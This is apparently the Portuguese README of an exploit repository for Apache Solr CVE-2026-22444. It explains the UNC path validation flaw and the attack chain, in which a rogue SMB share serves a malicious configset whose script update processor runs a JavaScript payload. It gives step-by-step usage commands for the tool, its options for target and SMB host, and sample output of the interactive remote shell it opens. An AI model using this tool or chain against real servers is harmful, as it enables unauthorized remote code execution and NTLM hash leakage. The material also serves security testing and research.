
Exploit para Apache Solr CVE-2026-22444, aproveitando injeção de caminho UNC e servidor SMB para alcançar execução remota de código via configset malicioso e payload JavaScript.
Vulnerabilidade de Validação de Caminho UNC no Apache Solr
CVE-2026-22444 é uma vulnerabilidade de segurança que afeta o Apache Solr, divulgada publicamente por volta de 20 de janeiro de 2026. A vulnerabilidade decorre de validação insuficiente de entrada (CWE-20: Improper Input Validation) em certos parâmetros da API "create core" do Apache Solr, permitindo que um atacante contorne as regras de segurança quando o Solr opera em modo "standalone", o que pode levar a vazamento de dados, execução remota de código (RCE) ou divulgação de hashes NTLM.
Especificamente, se o Solr não tiver autenticação habilitada ou se o usuário tiver permissão para criar cores, um atacante pode abusar dessa API por meio de solicitações cuidadosamente elaboradas para acessar arquivos protegidos ou executar ações maliciosas.
A vulnerabilidade foi descoberta e relatada à Apache em 2025, e divulgada publicamente na lista de e-mails oss-security:
Aviso oficial: https://www.openwall.com/lists/oss-security/2026/01/20/5
A vulnerabilidade existe em CoreContainer.java, onde o construtor CoreDescriptor aciona operações de rede antes de executar a validação do caminho UNC:
instancePath.toAbsolutePath() pode resolver caminhos UNC pela redeFiles.exists() executa chamadas de redeFiles.newInputStream() executa leituras de redeassertPathAllowed() ocorre somente após essas operaçõesexploit.py - Script de exploração de prova de conceitofiles/ - Arquivos de suporte necessários para a exploração (configset)
rce.js - Payload JavaScript de execução remota de códigoconf/ - Arquivos de configuração do Solr
solrconfig.xml - Define a cadeia de processadores de atualização maliciosaschema.xml - Definição do schema do Solrmanaged-schema - Arquivo de schema gerenciadorequirements.txt - Dependências Pythonpip install -r requirements.txt
As dependências incluem:
requests>=2.25.0 - Para solicitações HTTPimpacket>=0.10.0 - Para criar o servidor SMBpython3 exploit.py <IP_ALVO>
Exemplo:
python3 exploit.py 192.168.1.100
python3 exploit.py <IP_ALVO> --port <PORTA>
Exemplo:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <IP_ALVO> --smb-host <IP_SERVIDOR_SMB> --smb-port <PORTA_SMB>
Exemplo:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <IP_ALVO> --share-name <NOME_COMPARTILHAMENTO>
Exemplo:
python3 exploit.py 192.168.1.100 --share-name myshare
Argumentos posicionais:
target_host Endereço IP do servidor Solr alvo
Argumentos opcionais:
-h, --help Exibe a mensagem de ajuda e sai
--port, -p PORT Porta do servidor Solr (padrão: 8983)
--smb-host SMB_HOST IP do servidor SMB (padrão: detecção automática do IP local)
--smb-port SMB_PORT Porta do servidor SMB (padrão: 445)
--share-name SHARE Nome do compartilhamento SMB (padrão: malicious)
filesApós a exploração bem-sucedida, o script fornece um shell interativo:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Comandos suportados:
exit ou quit - Sai do shell interativoCtrl+C - Interrompe e saiA vulnerabilidade explora a seguinte cadeia de técnicas:
//ip-do-atacante/compartilhamento) por meio do parâmetro configSetStatelessScriptUpdateProcessorFactory do Solr para executar código JavaScriptpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Script principal de exploração
├── requirements.txt # Dependências Python
├── files/ # Configset malicioso
│ ├── rce.js # Payload JavaScript de RCE
│ └── conf/ # Diretório de configuração do Solr
│ ├── solrconfig.xml # Configura o processador de atualização malicioso
│ ├── schema.xml # Definição do schema
│ └── managed-schema # Schema gerenciado
└── README.md # Este arquivo
rce.js: Este é o payload RCE principal, que:
cmd dos parâmetros da solicitaçãosolrconfig.xml: Configura o Solr para usar a cadeia de processadores de atualização maliciosa:
rce-chainrce.js/update para usar essa cadeia⚠️ Aviso: Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado desta ferramenta para atacar sistemas é ilegal.
Este projeto segue a licença MIT. Consulte o arquivo LICENSE para obter detalhes.
Esta ferramenta e as informações fornecidas destinam-se exclusivamente a fins de pesquisa de segurança e educação. O autor não se responsabiliza por quaisquer danos causados pelo uso indevido destas informações ou ferramentas. O usuário deve cumprir todas as leis e regulamentos aplicáveis e obter a devida autorização antes do uso.